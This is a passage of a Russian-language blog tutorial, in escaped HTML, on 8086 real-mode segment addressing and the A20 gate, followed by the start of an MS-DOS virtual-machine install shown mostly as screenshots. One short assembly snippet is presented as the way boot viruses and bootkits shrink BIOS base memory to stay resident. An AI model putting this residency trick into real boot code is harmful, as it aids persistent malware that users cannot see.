Roman&amp;quot;;&quot;&gt; &lt;/span&gt;операционную&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;систему&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Первым&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;как&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;раз&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;займемся&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;. &lt;/span&gt;А&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;также&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;рассмотрим&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;установку&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;МСДОС&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;на&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;виртуальную&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;машину&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;научимся&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;закидывать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;в&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;нее&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;все&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;нам&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;надо&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Начнемс&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;-&lt;/span&gt;с&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;пожалуй&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Как&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;знаем&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;, &lt;/span&gt;был&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;такой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;чудесный&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;процессор&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; 8086.&amp;nbsp; &lt;/span&gt;&lt;span lang=&quot;UK&quot;&gt;Почему говорим о нем? Да потому что режим совместимости с
командами поддерживается в моделях следующих процессоров.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;UK&quot;&gt;8086 мог работать только в режиме &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;R&lt;/span&gt;-&lt;span lang=&quot;EN-US&quot;&gt;mode&lt;/span&gt; ( режим в котором
работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же
появились такие режимы как &lt;span lang=&quot;EN-US&quot;&gt;V&lt;/span&gt;-&lt;span lang=&quot;EN-US&quot;&gt;mode&lt;/span&gt;, что по своей сути
представляет концепцию виртуальной машины на уровне процессора.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Как работает адресация? Самая маленькая единица адресуемого блока памяти
является байт. Каждый байт имеет свое положение-физический адрес. Процессор
обращается к ячейке памяти через физический адрес, делает он это через адресную
шину.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKqKEbB4ho9rOc3TU3oGULy7pFBSOuTx4X3ZG6-_y9Ba-Sfyld0T2EnhxDxzbC1JT3ZEM_5TbsB6-l0y0UNKjaQcztTKUee51t77-emxlQpgsHjYrpeoCgJRzdminbhn0vyiIKlEGPJl2H/s1600/8086.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKqKEbB4ho9rOc3TU3oGULy7pFBSOuTx4X3ZG6-_y9Ba-Sfyld0T2EnhxDxzbC1JT3ZEM_5TbsB6-l0y0UNKjaQcztTKUee51t77-emxlQpgsHjYrpeoCgJRzdminbhn0vyiIKlEGPJl2H/s320/8086.gif&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;(АД- ножки,отвечающие за адресацию)&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1
бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины
процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше,
как раз актуальный пример)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;в 8086 была 20 битная шина.( вспоминаем вентиль А20&lt;div&gt;
&lt;br /&gt;&lt;span style=&quot;color: blue;&quot;&gt;   in al, 92h&lt;br /&gt; or al, 02h&lt;br /&gt; out 92h, al&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: lime;&quot;&gt;========&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: blue;&quot;&gt;    in     al, 92h&lt;br /&gt;    and     al, 0FDh&lt;br /&gt;    out    92h, al&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
что означает что 8086 адресовал всего лишь мегабайт памяти)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные,
а это значит что он адресовал не мегабайт , а 64 кб.?А вот и
нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16
разрядных значений, для того что бы обратиться в любое место 20 битной шины, и
видится он нам как : &lt;span lang=&quot;EN-US&quot;&gt;SEGMENT&lt;/span&gt;:&lt;span lang=&quot;EN-US&quot;&gt;OFFSET&lt;/span&gt; )))&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;UK&quot;&gt;НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;UK&quot;&gt;все просто- сегментный регистр &lt;/span&gt;(&lt;span lang=&quot;EN-US&quot;&gt;CS&lt;/span&gt;,&lt;span lang=&quot;EN-US&quot;&gt;DS&lt;/span&gt;,&lt;span lang=&quot;EN-US&quot;&gt;SS&lt;/span&gt;,&lt;span lang=&quot;EN-US&quot;&gt;ES&lt;/span&gt;) сдвигается влево
на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется
смещение-получаем адрес.Получается границы сегментов располагаются каждые 16
байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один
байт.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
итак 2^16*16 ~= 1 &lt;span lang=&quot;UK&quot;&gt;мбайт)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
это кстати используется в &lt;span lang=&quot;EN-US&quot;&gt;boot&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;вирусах и буткитах
также.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;dec&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;word&lt;/span&gt; [0413&lt;span lang=&quot;EN-US&quot;&gt;h&lt;/span&gt;]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;mov&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;ax&lt;/span&gt;,[0413&lt;span lang=&quot;EN-US&quot;&gt;h&lt;/span&gt;]&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ;&lt;span lang=&quot;UK&quot;&gt;(откусываем базовую &lt;/span&gt;память, что бы быть
резидентом)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;shl&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;ax&lt;/span&gt;,(10-4) &lt;/span&gt;&amp;nbsp; ;&amp;nbsp;&lt;span lang=&quot;UK&quot;&gt;(конвертируем
в параграфы)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;mov&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;es&lt;/span&gt;, &lt;span lang=&quot;EN-US&quot;&gt;ax&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
С основами покончено.Приступим к установке ДОС.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п.
так что единственное что остается для работы со своими программами это скачать
образ &lt;span lang=&quot;EN-US&quot;&gt;ISO&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;DOS&lt;/span&gt;. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
открываем его в программе &lt;span lang=&quot;EN-US&quot;&gt;ultraiso&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;и перекидываем туда
папочку с необходимыми нам программами, сохраняем. Теперь установка.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_okNeJWYQsJ4b_JjYBX6pk0pYuDpQd-a9zv4cMEIB5cgzR1UZVquPSUxQXbUYkFGslBnKf93TpAMwLkXuQe6Yb-A0ihSWMHF-Bn4l6oJIHFE7LREwBQ81A6oX7vX5zbYgLyzUmp_i0HW5/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;356&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_okNeJWYQsJ4b_JjYBX6pk0pYuDpQd-a9zv4cMEIB5cgzR1UZVquPSUxQXbUYkFGslBnKf93TpAMwLkXuQe6Yb-A0ihSWMHF-Bn4l6oJIHFE7LREwBQ81A6oX7vX5zbYgLyzUmp_i0HW5/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuyeuaZpcSgOMfJD0B9urAgB3_8sl7yTaDlL7JH8d40Oz7LXBu6iuMIlnD1z5y1VLlSodup-Xnk28n4Lk-QCu8_Gp4Lrbyecb_VWh7mQHQMvw8OOp69H126_kwa0pWQbCq8oZJBu1q-wPP/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;424&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuyeuaZpcSgOMfJD0B9urAgB3_8sl7yTaDlL7JH8d40Oz7LXBu6iuMIlnD1z5y1VLlSodup-Xnk28n4Lk-QCu8_Gp4Lrbyecb_VWh7mQHQMvw8OOp69H126_kwa0pWQbCq8oZJBu1q-wPP/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjMPYflX-QvYpXMzzYy8mmDL4Gm8AmFNBPi-5OMTWi43Nf_8qHcye79J1E5XwGHR0u7eJmRLDD-c1QBoXds-18ixHAF91E6SJOdPhSDqvzfageN0QZbxWdAW6u47fg-4_bqqi9idN1-imR/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;428&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjMPYflX-QvYpXMzzYy8mmDL4Gm8AmFNBPi-5OMTWi43Nf_8qHcye79J1E5XwGHR0u7eJmRLDD-c1QBoXds-18ixHAF91E6SJOdPhSDqvzfageN0QZbxWdAW6u47fg-4_bqqi9idN1-imR/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipF5kO0RiuEvcHxx66HoaspCZ4ulgWIsduzNEoBMwdAadTkZRqwemdiV0PundI7vS1GE39FQBM0JVzxfrlx43Uhetm_Eh0PfcIuZLJJKFNCdtRjXKdI0hubljak1CoZp4enyE3IY97wSA3/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;424&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipF5kO0RiuEvcHxx66HoaspCZ4ulgWIsduzNEoBMwdAadTkZRqwemdiV0PundI7vS1GE39FQBM0JVzxfrlx43Uhetm_Eh0PfcIuZLJJKFNCdtRjXKdI0hubljak1CoZp4enyE3IY97wSA3/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6gFwrQ4y-rvsxjSwRhrW9Ao2ltJJUDntc2H5rWSVmlSRQslgKWHtEyzeArQrXidITOxqzXzUbI2MaSxo2BBaWlHG7ZiWfd1ffxTQB7DDF7kPF-q6Y5qiwNB1IQuRKRMMP-M617q5TJ3ru/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92345.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;417&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6gFwrQ4y-rvsxjSwRhrW9Ao2ltJJUDntc2H5rWSVmlSRQslgKWHtEyzeArQrXidITOxqzXzUbI2MaSxo2BBaWlHG7ZiWfd1ffxTQB7DDF7kPF-q6Y5qiwNB1IQuRKRMMP-M617q5TJ3ru/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92345.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXy7OR9b-WSD4nfde51e_pFu0l5vqzXvxYQkR00Lj2xI9osSHXra6P91L5H56FsQ9p6iupiFWtqY7VhDxuDd_tVtEV80Vn9PuMCFW87gCSq2-6-ShB0auZFdAyhnGnE0MVd4eLcJA_HVCC/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923456.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXy7OR9b-WSD4nfde51e_pFu0l5vqzXvxYQkR00Lj2xI9osSHXra6P91L5H56FsQ9p6iupiFWtqY7VhDxuDd_tVtEV80Vn9PuMCFW87gCSq2-6-ShB0auZFdAyhnGnE0MVd4eLcJA_HVCC/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923456.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBkWoauXZGyEFazFLIGA_8RVuTTux-97trwX2YQUNwgPTKIAtP7ukBoUPszqXK6WOQWIW3r6mcM_5dd3rqBsKaCLGD0Bp6SgoPFnPFJF37MNbQuJ2AUeJE2cWD-dKCdSW97uIHWWHDooYt/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234567.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;473&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBkWoauXZGyEFazFLIGA_8RVuTTux-97trwX2YQUNwgPTKIAtP7ukBoUPszqXK6WOQWIW3r6mcM_5dd3rqBsKaCLGD0Bp6SgoPFnPFJF37MNbQuJ2AUeJE2cWD-dKCdSW97uIHWWHDooYt/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234567.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIjal1sjC7DAFfidEKuUYQVFuJnBpPhfxIqWfkxsRIlULclwVf10zF83eKkEYaXi_CVk45w4oFHjUA9hTcP7Mao9JmWcl9Vn_053ASnxet0m0VNfk2ntTvKvUZP0Ys-nNx2PAYrK-s1uXq/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92345678.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;484&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIjal1sjC7DAFfidEKuUYQVFuJnBpPhfxIqWfkxsRIlULclwVf10zF83eKkEYaXi_CVk45w4oFHjUA9hTcP7Mao9JmWcl9Vn_053ASnxet0m0VNfk2ntTvKvUZP0Ys-nNx2PAYrK-s1uXq/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92345678.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEoSpTVrlr0kkcUjwi00kRmnqFawAcdhbHBQeWQ-D21plSCeWZ6fj2mWs25D8gaLw_RqFKg73YUP9tK-t-hUbwDkWed3cl3fN8o-kgUydQGRZGOGvGMK3QZUSd_IoswqNSg23S0-yYynr6/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923456789.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;411&quot; 